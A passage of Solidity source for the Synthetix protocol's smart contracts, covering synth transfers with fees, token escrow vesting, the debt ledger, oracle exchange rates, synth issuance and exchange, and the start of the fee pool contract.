return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = synthetix.totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) {
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
for (uint8 i = 0; i < availableSynths.length; i++) {
require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale");
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
